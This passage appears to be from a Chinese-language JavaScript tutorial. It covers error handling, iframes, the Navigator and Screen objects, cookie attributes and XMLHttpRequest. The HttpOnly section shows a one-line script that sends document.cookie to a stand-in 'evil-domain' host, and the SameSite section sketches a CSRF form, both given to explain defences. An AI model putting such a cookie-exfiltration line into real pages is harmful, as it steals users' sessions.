};

由于历史原因,windowerror事件的回调函数不接受错误对象作为参数,而是一共可以接受五个参数,它们的含义依次如下。

  • 出错信息
  • 出错脚本的网址
  • 行号
  • 列号
  • 错误对象

老式浏览器只支持前三个参数。

并不是所有的错误,都会触发 JavaScript 的error事件(即让 JavaScript 报错)。一般来说,只有 JavaScript 脚本的错误,才会触发这个事件,而像资源文件不存在之类的错误,都不会触发。

下面是一个例子,如果整个页面未捕获错误超过3个,就显示警告。

window.onerror = function(msg, url, line) {
  if (onerror.num++ > onerror.max) {
    alert('ERROR: ' + msg + '\n' + url + ':' + line);
    return true;
  }
}
onerror.max = 3;
onerror.num = 0;

需要注意的是,如果脚本网址与网页网址不在同一个域(比如使用了 CDN),浏览器根本不会提供详细的出错信息,只会提示出错,错误类型是“Script error.”,行号为0,其他信息都没有。这是浏览器防止向外部脚本泄漏信息。一个解决方法是在脚本所在的服务器,设置Access-Control-Allow-Origin的 HTTP 头信息。

Access-Control-Allow-Origin: *

然后,在网页的<script>标签中设置crossorigin属性。

<script crossorigin="anonymous" src="//example.com/file.js"></script>

上面代码的crossorigin="anonymous"表示,读取文件不需要身份信息,即不需要 cookie 和 HTTP 认证信息。如果设为crossorigin="use-credentials",就表示浏览器会上传 cookie 和 HTTP 认证信息,同时还需要服务器端打开 HTTP 头信息Access-Control-Allow-Credentials

window 对象的事件监听属性

除了具备元素节点都有的 GlobalEventHandlers 接口,window对象还具有以下的事件监听函数属性。

  • window.onafterprintafterprint事件的监听函数。
  • window.onbeforeprintbeforeprint事件的监听函数。
  • window.onbeforeunloadbeforeunload事件的监听函数。
  • window.onhashchangehashchange事件的监听函数。
  • window.onlanguagechange: languagechange的监听函数。
  • window.onmessagemessage事件的监听函数。
  • window.onmessageerrorMessageError事件的监听函数。
  • window.onofflineoffline事件的监听函数。
  • window.ononlineonline事件的监听函数。
  • window.onpagehidepagehide事件的监听函数。
  • window.onpageshowpageshow事件的监听函数。
  • window.onpopstatepopstate事件的监听函数。
  • window.onstoragestorage事件的监听函数。
  • window.onunhandledrejection:未处理的 Promise 对象的reject事件的监听函数。
  • window.onunloadunload事件的监听函数。

多窗口操作

由于网页可以使用iframe元素,嵌入其他网页,因此一个网页之中会形成多个窗口。如果子窗口之中又嵌入别的网页,就会形成多级窗口。

窗口的引用

各个窗口之中的脚本,可以引用其他窗口。浏览器提供了一些特殊变量,用来返回其他窗口。

  • top:顶层窗口,即最上层的那个窗口
  • parent:父窗口
  • self:当前窗口,即自身

下面代码可以判断,当前窗口是否为顶层窗口。

if (window.top === window.self) {
  // 当前窗口是顶层窗口
} else {
  // 当前窗口是子窗口
}

下面的代码让父窗口的访问历史后退一次。

window.parent.history.back();

与这些变量对应,浏览器还提供一些特殊的窗口名,供window.open()方法、<a>标签、<form>标签等引用。

  • _top:顶层窗口
  • _parent:父窗口
  • _blank:新窗口

下面代码就表示在顶层窗口打开链接。

<a href="somepage.html" target="_top">Link</a>

iframe 元素

对于iframe嵌入的窗口,document.getElementById方法可以拿到该窗口的 DOM 节点,然后使用contentWindow属性获得iframe节点包含的window对象。

var frame = document.getElementById('theFrame');
var frameWindow = frame.contentWindow;

上面代码中,frame.contentWindow可以拿到子窗口的window对象。然后,在满足同源限制的情况下,可以读取子窗口内部的属性。

// 获取子窗口的标题
frameWindow.title

<iframe>元素的contentDocument属性,可以拿到子窗口的document对象。

var frame = document.getElementById('theFrame');
var frameDoc = frame.contentDocument;

// 等同于
var frameDoc = frame.contentWindow.document;

<iframe>元素遵守同源政策,只有当父窗口与子窗口在同一个域时,两者之间才可以用脚本通信,否则只有使用window.postMessage方法。

<iframe>窗口内部,使用window.parent引用父窗口。如果当前页面没有父窗口,则window.parent属性返回自身。因此,可以通过window.parent是否等于window.self,判断当前窗口是否为iframe窗口。

if (window.parent !== window.self) {
  // 当前窗口是子窗口
}

<iframe>窗口的window对象,有一个frameElement属性,返回<iframe>在父窗口中的 DOM 节点。对于非嵌入的窗口,该属性等于null

var f1Element = document.getElementById('f1');
var f1Window = f1Element.contentWindow;

f1Window.frameElement === f1Element // true
window.frameElement === null // true

window.frames 属性

window.frames属性返回一个类似数组的对象,成员是所有子窗口的window对象。可以使用这个属性,实现窗口之间的互相引用。比如,frames[0]返回第一个子窗口,frames[1].frames[2]返回第二个子窗口内部的第三个子窗口,parent.frames[1]返回父窗口的第二个子窗口。

注意,window.frames每个成员的值,是框架内的窗口(即框架的window对象),而不是iframe标签在父窗口的 DOM 节点。如果要获取每个框架内部的 DOM 树,需要使用window.frames[0].document的写法。

另外,如果<iframe>元素设置了nameid属性,那么属性值会自动成为全局变量,并且可以通过window.frames属性引用,返回子窗口的window对象。

// HTML 代码为 <iframe id="myFrame">
window.myFrame // [HTMLIFrameElement]
frames.myframe === myFrame // true

另外,name属性的值会自动成为子窗口的名称,可以用在window.open方法的第二个参数,或者<a><frame>标签的target属性。

window.navigator属性指向一个包含浏览器和系统信息的 Navigator 对象。脚本通过这个属性了解用户的环境信息。

navigator.userAgent属性返回浏览器的 User Agent 字符串,表示用户设备信息,包含了浏览器的厂商、版本、操作系统等信息。

下面是 Chrome 浏览器的userAgent

navigator.userAgent
// "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36"

通过userAgent属性识别浏览器,不是一个好办法。因为必须考虑所有的情况(不同的浏览器,不同的版本),非常麻烦,而且用户可以改变这个字符串。这个字符串的格式并无统一规定,也无法保证未来的适用性,各种上网设备层出不穷,难以穷尽。所以,现在一般不再通过它识别浏览器了,而是使用“功能识别”方法,即逐一测试当前浏览器是否支持要用到的 JavaScript 功能。

不过,通过userAgent可以大致准确地识别手机浏览器,方法就是测试是否包含mobi字符串。

var ua = navigator.userAgent.toLowerCase();

if (/mobi/.test(ua)) {
  // 手机浏览器
} else {
  // 非手机浏览器
}

如果想要识别所有移动设备的浏览器,可以测试更多的特征字符串。

/mobi|android|touch|mini/.test(ua)

Navigator.plugins属性返回一个类似数组的对象,成员是 Plugin 实例对象,表示浏览器安装的插件,比如 Flash、ActiveX 等。

var pluginsLength = navigator.plugins.length;

for (var i = 0; i < pluginsLength; i++) {
  console.log(navigator.plugins[i].name);
  console.log(navigator.plugins[i].filename);
  console.log(navigator.plugins[i].description);
  console.log(navigator.plugins[i].version);
}

Navigator.platform属性返回用户的操作系统信息,比如MacIntelWin32Linux x86_64等 。

navigator.platform
// "Linux x86_64"

navigator.onLine属性返回一个布尔值,表示用户当前在线还是离线(浏览器断线)。

navigator.onLine // true

有时,浏览器可以连接局域网,但是局域网不能连通外网。这时,有的浏览器的onLine属性会返回true,所以不能假定只要是true,用户就一定能访问互联网。不过,如果是false,可以断定用户一定离线。

用户变成在线会触发online事件,变成离线会触发offline事件,可以通过window.ononlinewindow.onoffline指定这两个事件的回调函数。

window.addEventListener('offline', function(e) { console.log('offline'); });
window.addEventListener('online', function(e) { console.log('online'); });

Navigator.language属性返回一个字符串,表示浏览器的首选语言。该属性只读。

navigator.language // "en"

Navigator.languages属性返回一个数组,表示用户可以接受的语言。Navigator.language总是这个数组的第一个成员。HTTP 请求头信息的Accept-Language字段,就来自这个数组。

navigator.languages  // ["en-US", "en", "zh-CN", "zh", "zh-TW"]

如果这个属性发生变化,就会在window对象上触发languagechange事件。

Navigator.geolocation属性返回一个 Geolocation 对象,包含用户地理位置的信息。注意,该 API 只有在 HTTPS 协议下可用,否则调用下面方法时会报错。

Geolocation 对象提供下面三个方法。

  • Geolocation.getCurrentPosition():得到用户的当前位置
  • Geolocation.watchPosition():监听用户位置变化
  • Geolocation.clearWatch():取消watchPosition()方法指定的监听函数

注意,调用这三个方法时,浏览器会跳出一个对话框,要求用户给予授权。

navigator.cookieEnabled属性返回一个布尔值,表示浏览器的 Cookie 功能是否打开。

navigator.cookieEnabled // true

注意,这个属性反映的是浏览器总的特性,与是否储存某个具体的网站的 Cookie 无关。用户可以设置某个网站不得储存 Cookie,这时cookieEnabled返回的还是true

navigator.javaEnabled()方法返回一个布尔值,表示浏览器是否能运行 Java Applet 小程序。

navigator.javaEnabled() // false

Navigator.sendBeacon()方法用于向服务器异步发送数据,详见《XMLHttpRequest 对象》一章。

Navigator 对象有一些实验性属性,在部分浏览器可用。

navigator.deviceMemory属性返回当前计算机的内存数量(单位为 GB)。该属性只读,只在 HTTPS 环境下可用。

它的返回值是一个近似值,四舍五入到最接近的2的幂,通常是 0.25、0.5、1、2、4、8。实际内存超过 8GB,也返回8

if (navigator.deviceMemory > 1) {
  await import('./costly-module.js');
}

上面示例中,只有当前内存大于 1GB,才加载大型的脚本。

navigator.hardwareConcurrency属性返回用户计算机上可用的逻辑处理器的数量。该属性只读。

现代计算机的 CPU 有多个物理核心,每个物理核心有时支持一次运行多个线程。因此,四核 CPU 可以提供八个逻辑处理器核心。

if (navigator.hardwareConcurrency > 4) {
  await import('./costly-module.js');
}

上面示例中,可用的逻辑处理器大于4,才会加载大型脚本。

该属性通过用于创建 Web Worker,每个可用的逻辑处理器都创建一个 Worker。

let workerList = [];

for (let i = 0; i < window.navigator.hardwareConcurrency; i++) {
  let newWorker = {
    worker: new Worker('cpuworker.js'),
    inUse: false
  };
  workerList.push(newWorker);
}

上面示例中,有多少个可用的逻辑处理器,就创建多少个 Web Worker。

navigator.connection属性返回一个对象,包含当前网络连接的相关信息。

  • downlink:有效带宽估计值(单位:兆比特/秒,Mbps),四舍五入到每秒 25KB 的最接近倍数。
  • downlinkMax:当前连接的最大下行链路速度(单位:兆比特每秒,Mbps)。
  • effectiveType:返回连接的等效类型,可能的值为slow-2g2g3g4g
  • rtt:当前连接的估计有效往返时间,四舍五入到最接近的25毫秒的倍数。
  • saveData:用户是否设置了浏览器的减少数据使用量选项(比如不加载图片),返回true或者false
  • type:当前连接的介质类型,可能的值为bluetoothcellularethernetnonewifiwimaxotherunknown
if (navigator.connection.effectiveType === '4g') {
  await import('./costly-module.js');
}

上面示例中,如果网络连接是 4G,则加载大型脚本。

Screen 对象

Screen 对象表示当前窗口所在的屏幕,提供显示设备的信息。window.screen属性指向这个对象。

该对象有下面的属性。

  • Screen.height:浏览器窗口所在的屏幕的高度(单位像素)。除非调整显示器的分辨率,否则这个值可以看作常量,不会发生变化。显示器的分辨率与浏览器设置无关,缩放网页并不会改变分辨率。
  • Screen.width:浏览器窗口所在的屏幕的宽度(单位像素)。
  • Screen.availHeight:浏览器窗口可用的屏幕高度(单位像素)。因为部分空间可能不可用,比如系统的任务栏或者 Mac 系统屏幕底部的 Dock 区,这个属性等于height减去那些被系统组件的高度。
  • Screen.availWidth:浏览器窗口可用的屏幕宽度(单位像素)。
  • Screen.pixelDepth:整数,表示屏幕的色彩位数,比如24表示屏幕提供24位色彩。
  • Screen.colorDepthScreen.pixelDepth的别名。严格地说,colorDepth 表示应用程序的颜色深度,pixelDepth 表示屏幕的颜色深度,绝大多数情况下,它们都是同一件事。
  • Screen.orientation:返回一个对象,表示屏幕的方向。该对象的type属性是一个字符串,表示屏幕的具体方向,landscape-primary表示横放,landscape-secondary表示颠倒的横放,portrait-primary表示竖放,portrait-secondary表示颠倒的竖放。

下面是Screen.orientation的例子。

window.screen.orientation
// { angle: 0, type: "landscape-primary", onchange: null }

下面的例子保证屏幕分辨率大于 1024 x 768。

if (window.screen.width >= 1024 && window.screen.height >= 768) {
  // 分辨率不低于 1024x768
}

下面是根据屏幕的宽度,将用户导向不同网页的代码。

if ((screen.width <= 800) && (screen.height <= 600)) {
  window.location.replace('small.html');
} else {
  window.location.replace('wide.html');
}

概述

Cookie 是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。

HTTP 协议不带有状态,有些请求需要区分状态,就通过 Cookie 附带字符串,让服务器返回不一样的回应。举例来说,用户登录以后,服务器往往会在网站上留下一个 Cookie,记录用户编号(比如id=1234),以后每次浏览器向服务器请求数据,就会带上这个字符串,服务器从而知道是谁在请求,应该回应什么内容。

Cookie 的目的就是区分用户,以及放置状态信息,它的使用场景主要如下。

  • 对话(session)管理:保存登录状态、购物车等需要记录的信息。
  • 个性化信息:保存用户的偏好,比如网页的字体大小、背景色等等。
  • 追踪用户:记录和分析用户行为。

Cookie 不是一种理想的客户端存储机制。它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端存储建议使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息,才应该放在 Cookie 里面。

每个 Cookie 都有以下几方面的元数据。

  • Cookie 的名字
  • Cookie 的值(真正的数据写在这里面)
  • 到期时间(超过这个时间会失效)
  • 所属域名(默认为当前域名)
  • 生效的路径(默认为当前网址)

举例来说,用户访问网址www.example.com,服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为www.example.com,生效路径为根路径/

如果 Cookie 的生效路径设为/forums,那么这个 Cookie 只有在访问www.example.com/forums及其子路径时才有效。以后,浏览器访问某个路径之前,就会找出对该域名和路径有效,并且还没有到期的 Cookie,一起发送给服务器。

用户可以设置浏览器不接受 Cookie,也可以设置不向服务器发送 Cookie。window.navigator.cookieEnabled属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。

window.navigator.cookieEnabled // true

document.cookie属性返回当前网页的 Cookie。

document.cookie // "id=foo;key=bar"

不同浏览器对 Cookie 数量和大小的限制,是不一样的。一般来说,单个域名设置的 Cookie 不应超过30个,每个 Cookie 的大小不能超过 4KB。超过限制以后,Cookie 将被忽略,不会被设置。

Cookie 是按照域名区分的,foo.com只能读取自己放置的 Cookie,无法读取其他网站(比如bar.com)放置的 Cookie。一般情况下,一级域名也不能读取二级域名留下的 Cookie,比如mydomain.com不能读取subdomain.mydomain.com设置的 Cookie。但是有一个例外,设置 Cookie 的时候(不管是一级域名设置的,还是二级域名设置的),明确将domain属性设为一级域名,则这个域名下面的各级域名可以共享这个 Cookie。

Set-Cookie: name=value; domain=mydomain.com

上面示例中,设置 Cookie 时,domain属性设为mydomain.com,那么各级的子域名和一级域名都可以读取这个 Cookie。

注意,区分 Cookie 时不考虑协议和端口。也就是说,http://example.com设置的 Cookie,可以被https://example.comhttp://example.com:8080读取。

Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用。

HTTP 回应:Cookie 的生成

服务器如果希望在浏览器保存 Cookie,就要在 HTTP 回应的头信息里面,放置一个Set-Cookie字段。

Set-Cookie:foo=bar

上面代码会在浏览器保存一个名为foo的 Cookie,它的值为bar

HTTP 回应可以包含多个Set-Cookie字段,即在浏览器生成多个 Cookie。下面是一个例子。

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

除了 Cookie 的值,Set-Cookie字段还可以附加 Cookie 的属性。

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

上面的几个属性的含义,将在后文解释。

一个Set-Cookie字段里面,可以同时包括多个属性,没有次序的要求。

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

下面是一个例子。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

如果服务器想改变一个早先设置的 Cookie,必须同时满足四个条件:Cookie 的keydomainpathsecure都匹配。举例来说,如果原始的 Cookie 是用如下的Set-Cookie设置的。

Set-Cookie: key1=value1; domain=example.com; path=/blog

改变上面这个 Cookie 的值,就必须使用同样的Set-Cookie

Set-Cookie: key1=value2; domain=example.com; path=/blog

只要有一个属性不同,就会生成一个全新的 Cookie,而不是替换掉原来那个 Cookie。

Set-Cookie: key1=value2; domain=example.com; path=/

上面的命令设置了一个全新的同名 Cookie,但是path属性不一样。下一次访问example.com/blog的时候,浏览器将向服务器发送两个同名的 Cookie。

Cookie: key1=value1; key1=value2

上面代码的两个 Cookie 是同名的,匹配越精确的 Cookie 排在越前面。

HTTP 请求:Cookie 的发送

浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie。也就是说,把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie字段。

Cookie: foo=bar

上面代码会向服务器发送名为foo的 Cookie,值为bar

Cookie字段可以包含多个 Cookie,使用分号(;)分隔。

Cookie: name=value; name2=value2; name3=value3

下面是一个例子。

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

服务器收到浏览器发来的 Cookie 时,有两点是无法知道的。

  • Cookie 的各种属性,比如何时过期。
  • 哪个域名设置的 Cookie,到底是一级域名设的,还是某一个二级域名设的。

Expires,Max-Age

Expires属性指定一个具体的到期时间,到了指定时间以后,浏览器就不再保留这个 Cookie。它的值是 UTC 格式,可以使用Date.prototype.toUTCString()进行格式转换。

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

如果不设置该属性,或者设为null,Cookie 只在当前会话(session)有效,浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。另外,浏览器根据本地时间,决定 Cookie 是否过期,由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期。

Max-Age属性指定从现在开始 Cookie 存在的秒数,比如60 * 60 * 24 * 365(即一年)。过了这个时间以后,浏览器就不再保留这个 Cookie。

如果同时指定了ExpiresMax-Age,那么Max-Age的值将优先生效。

如果Set-Cookie字段没有指定ExpiresMax-Age属性,那么这个 Cookie 就是 Session Cookie,即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie。

Domain,Path

Domain属性指定 Cookie 属于哪个域名,以后浏览器向服务器发送 HTTP 请求时,通过这个属性判断是否要附带某个 Cookie。

服务器设定 Cookie 时,如果没有指定 Domain 属性,浏览器会默认将其设为浏览器的当前域名。如果当前域名是一个 IP 地址,则不得设置 Domain 属性。

如果指定 Domain 属性,需要遵守下面规则:Domain 属性只能是当前域名或者当前域名的上级域名,但设为上级域名时,不能设为顶级域名或公共域名。(顶级域名指的是 .com、.net 这样的域名,公共域名指的是开放给外部用户设置子域名的域名,比如 github.io。)如果不符合上面这条规则,浏览器会拒绝设置这个 Cookie。

举例来说,当前域名为x.y.z.com,那么 Domain 属性可以设为x.y.z.com,或者y.z.com,或者z.com,但不能设为foo.x.y.z.com,或者another.domain.com

另一个例子是,当前域名为wangdoc.github.io,则 Domain 属性只能设为wangdoc.github.io,不能设为github.io,因为后者是一个公共域名。

浏览器发送 Cookie 时,Domain 属性必须与当前域名一致,或者是当前域名的上级域名(公共域名除外)。比如,Domain 属性是y.z.com,那么适用于y.z.comx.y.z.comfoo.x.y.z.com等域名。再比如,Domain 属性是公共域名github.io,那么只适用于github.io这个域名本身,不适用于它的子域名wangdoc.github.io

Path属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,Path属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,Path属性是/,那么请求/docs路径也会包含该 Cookie。当然,前提是 Domain 属性必须符合条件。

Secure,HttpOnly

Secure属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的Secure属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。

HttpOnly属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是document.cookie属性、XMLHttpRequest对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的HttpOnly属性,上面代码就不会读到该 Cookie。

SameSite

Chrome 51 开始,浏览器的 Cookie 新增加了一个SameSite属性,用来防止 CSRF 攻击和用户追踪。

Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求,这就是 CSRF 攻击。举例来说,用户登陆了银行网站your-bank.com,银行服务器发来了一个 Cookie。

Set-Cookie:id=a3fWa;

用户后来又访问了恶意网站malicious.com,上面有一个表单。

<form action="your-bank.com/transfer" method="POST">
  ...
</form>

用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 Cookie 的请求。为了防止这种攻击,官网的表单一般都带有一个随机 token,官网服务器通过验证这个随机 token,确认是否为真实请求。

<form action="your-bank.com/transfer" method="POST">
  <input type="hidden" name="token" value="dad3weg34">
  ...
</form>

这种第三方网站引导而附带发送的 Cookie,就称为第三方 Cookie。它除了用于 CSRF 攻击,还可以用于用户追踪。比如,Facebook 在第三方网站插入一张看不见的图片。

<img src="facebook.com" style="visibility:hidden;">

浏览器加载上面代码时,就会向 Facebook 发出带有 Cookie 的请求,从而 Facebook 就会知道你是谁,访问了什么网站。

Cookie 的SameSite属性用来限制第三方 Cookie,从而减少安全风险。它可以设置三个值。

  • Strict
  • Lax
  • None

(1)Strict

Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。

Set-Cookie: CookieName=CookieValue; SameSite=Strict;

这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。

(2)Lax

Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。

Set-Cookie: CookieName=CookieValue; SameSite=Lax;

导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。

请求类型 示例 正常情况 Lax
链接 <a href="..."></a> 发送 Cookie 发送 Cookie
预加载 <link rel="prerender" href="..."/> 发送 Cookie 发送 Cookie
GET 表单 <form method="GET" action="..."> 发送 Cookie 发送 Cookie
POST 表单 <form method="POST" action="..."> 发送 Cookie 不发送
iframe <iframe src="..."></iframe> 发送 Cookie 不发送
AJAX $.get("...") 发送 Cookie 不发送
Image <img src="..."> 发送 Cookie 不发送

设置了StrictLax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。

(3)None

Chrome 计划将Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。

下面的设置无效。

Set-Cookie: widget_session=abc123; SameSite=None

下面的设置有效。

Set-Cookie: widget_session=abc123; SameSite=None; Secure

document.cookie

document.cookie属性用于读写当前网页的 Cookie。

读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有HTTPOnly属性。

document.cookie // "foo=bar;baz=bar"

上面代码从document.cookie一次性读出两个 Cookie,它们之间使用分号分隔。必须手动还原,才能取出每一个 Cookie 的值。

var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar

document.cookie属性是可写的,可以通过它为当前网站添加 Cookie。

document.cookie = 'fontSize=14';

写入的时候,Cookie 的值必须写成key=value的形式。注意,等号两边不能有空格。另外,写入 Cookie 的时候,必须对分号、逗号和空格进行转义(它们都不允许作为 Cookie 的值),这可以用encodeURIComponent方法达到。

但是,document.cookie一次只能写入一个 Cookie,而且写入并不是覆盖,而是添加。

document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world

document.cookie读写行为的差异(一次可以读出全部 Cookie,但是只能写入一个 Cookie),与 HTTP 协议的 Cookie 通信格式有关。浏览器向服务器发送 Cookie 的时候,Cookie字段是使用一行将所有 Cookie 全部发送;服务器向浏览器设置 Cookie 的时候,Set-Cookie字段是一行设置一个 Cookie。

写入 Cookie 的时候,可以一起写入 Cookie 的属性。

document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";

上面代码中,写入 Cookie 的时候,同时设置了expires属性。属性值的等号两边,也是不能有空格的。

各个属性的写入注意点如下。

  • path属性必须为绝对路径,默认为当前路径。
  • domain属性值必须是当前发送 Cookie 的域名的一部分。比如,当前域名是example.com,就不能将其设为foo.com。该属性默认为当前的一级域名(不含二级域名)。
  • max-age属性的值为秒数。
  • expires属性的值为 UTC 格式,可以使用Date.prototype.toUTCString()进行日期格式转换。

document.cookie写入 Cookie 的例子如下。

document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=*.example.com';

Cookie 的属性一旦设置完成,就没有办法读取这些属性的值。

删除一个现存 Cookie 的唯一方法,是设置它的expires属性为一个过去的日期。

document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';

上面代码中,名为fontSize的 Cookie 的值为空,过期时间设为1970年1月1月零点,就等同于删除了这个 Cookie。

参考链接

XMLHttpRequest 对象

简介

浏览器与服务器之间,采用 HTTP 协议通信。用户在浏览器地址栏键入一个网址,或者通过网页表单向服务器提交内容,这时浏览器就会向服务器发出 HTTP 请求。

1999年,微软公司发布 IE 浏览器5.0版,第一次引入新功能:允许 JavaScript 脚本向服务器发起 HTTP 请求。这个功能当时并没有引起注意,直到2004年 Gmail 发布和2005年 Google Map 发布,才引起广泛重视。2005年2月,AJAX 这个词第一次正式提出,它是 Asynchronous JavaScript and XML 的缩写,指的是通过 JavaScript 的异步通信,从服务器获取 XML 文档从中提取数据,再更新当前网页的对应部分,而不用刷新整个网页。后来,AJAX 这个词就成为 JavaScript 脚本发起 HTTP 通信的代名词,也就是说,只要用脚本发起通信,就可以叫做 AJAX 通信。W3C 也在2006年发布了它的国际标准。

具体来说,AJAX 包括以下几个步骤。

  1. 创建 XMLHttpRequest 实例
  2. 发出 HTTP 请求
  3. 接收服务器传回的数据
  4. 更新网页数据

概括起来,就是一句话,AJAX 通过原生的XMLHttpRequest对象发出 HTTP 请求,得到服务器返回的数据后,再进行处理。现在,服务器返回的都是 JSON 格式的数据,XML 格式已经过时了,但是 AJAX 这个名字已经成了一个通用名词,字面含义已经消失了。

XMLHttpRequest对象是 AJAX 的主要接口,用于浏览器与服务器之间的通信。尽管名字里面有XMLHttp,它实际上可以使用多种协议(比如fileftp),发送任何格式的数据(包括字符串和二进制)。

XMLHttpRequest本身是一个构造函数,可以使用new命令生成实例。它没有任何参数。

var xhr = new XMLHttpRequest();

一旦新建实例,就可以使用open()方法指定建立 HTTP 连接的一些细节。

xhr.open('GET', 'http://www.example.com/page.php', true);

上面代码指定使用 GET 方法,跟指定的服务器网址建立连接。第三个参数true,表示请求是异步的。

然后,指定回调函数,监听通信状态(readyState属性)的变化。

xhr.onreadystatechange = handleStateChange;

function handleStateChange() {
  // ...
}

上面代码中,一旦XMLHttpRequest实例的状态发生变化,就会调用监听函数handleStateChange

最后使用send()方法,实际发出请求。

xhr.send(null);

上面代码中,send()的参数为null,表示发送请求的时候,不带有数据体。如果发送的是 POST 请求,这里就需要指定数据体。

一旦拿到服务器返回的数据,AJAX 不会刷新整个网页,而是只更新网页里面的相关部分,从而不打断用户正在做的事情。

注意,AJAX 只能向同源网址(协议、域名、端口都相同)发出 HTTP 请求,如果发出跨域请求,就会报错(详见《同源政策》和《CORS 通信》两章)。

下面是XMLHttpRequest对象简单用法的完整例子。

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function(){
  // 通信成功时,状态值为4
  if (xhr.readyState === 4){
    if (xhr.status === 200){
      console.log(xhr.responseText);
    } else {
      console.error(xhr.statusText);
    }
  }
};

xhr.onerror = function (e) {
  console.error(xhr.statusText);
};

xhr.open('GET', '/endpoint', true);
xhr.send(null);

XMLHttpRequest 的实例属性

XMLHttpRequest.readyState

XMLHttpRequest.readyState返回一个整数,表示实例对象的当前状态。该属性只读。它可能返回以下值。

  • 0,表示 XMLHttpRequest 实例已经生成,但是实例的open()方法还没有被调用。
  • 1,表示open()方法已经调用,但是实例的send()方法还没有调用,仍然可以使用实例的setRequestHeader()方法,设定 HTTP 请求的头信息。
  • 2,表示实例的send()方法已经调用,并且服务器返回的头信息和状态码已经收到。
  • 3,表示正在接收服务器传来的数据体(body 部分)。这时,如果实例的responseType属性等于text或者空字符串,responseText属性就会包含已经收到的部分信息。
  • 4,表示服务器返回的数据已经完全接收,或者本次接收已经失败。

通信过程中,每当实例对象发生状态变化,它的readyState属性的值就会改变。这个值每一次变化,都会触发readyStateChange事件。

var xhr = new XMLHttpRequest();

if (xhr.readyState === 4) {
  // 请求结束,处理服务器返回的数据
} else {
  // 显示提示“加载中……”
}

上面代码中,xhr.readyState等于4时,表明脚本发出的 HTTP 请求已经完成。其他情况,都表示 HTTP 请求还在进行中。

XMLHttpRequest.onreadystatechange

XMLHttpRequest.onreadystatechange属性指向一个监听函数。readystatechange事件发生时(实例的readyState属性变化),就会执行这个属性。

另外,如果使用实例的abort()方法,终止 XMLHttpRequest 请求,也会造成readyState属性变化,导致调用XMLHttpRequest.onreadystatechange属性。

下面是一个例子。

var xhr = new XMLHttpRequest();
xhr.open( 'GET', 'http://example.com' , true );
xhr.onreadystatechange = function () {
  if (xhr.readyState !== 4 || xhr.status !== 200) {
    return;
  }
  console.log(xhr.responseText);
};
xhr.send();

XMLHttpRequest.response

XMLHttpRequest.response属性表示服务器返回的数据体(即 HTTP 回应的 body 部分)。它可能是任何数据类型,比如字符串、对象、二进制对象等等,具体的类型由XMLHttpRequest.responseType属性决定。该属性只读。

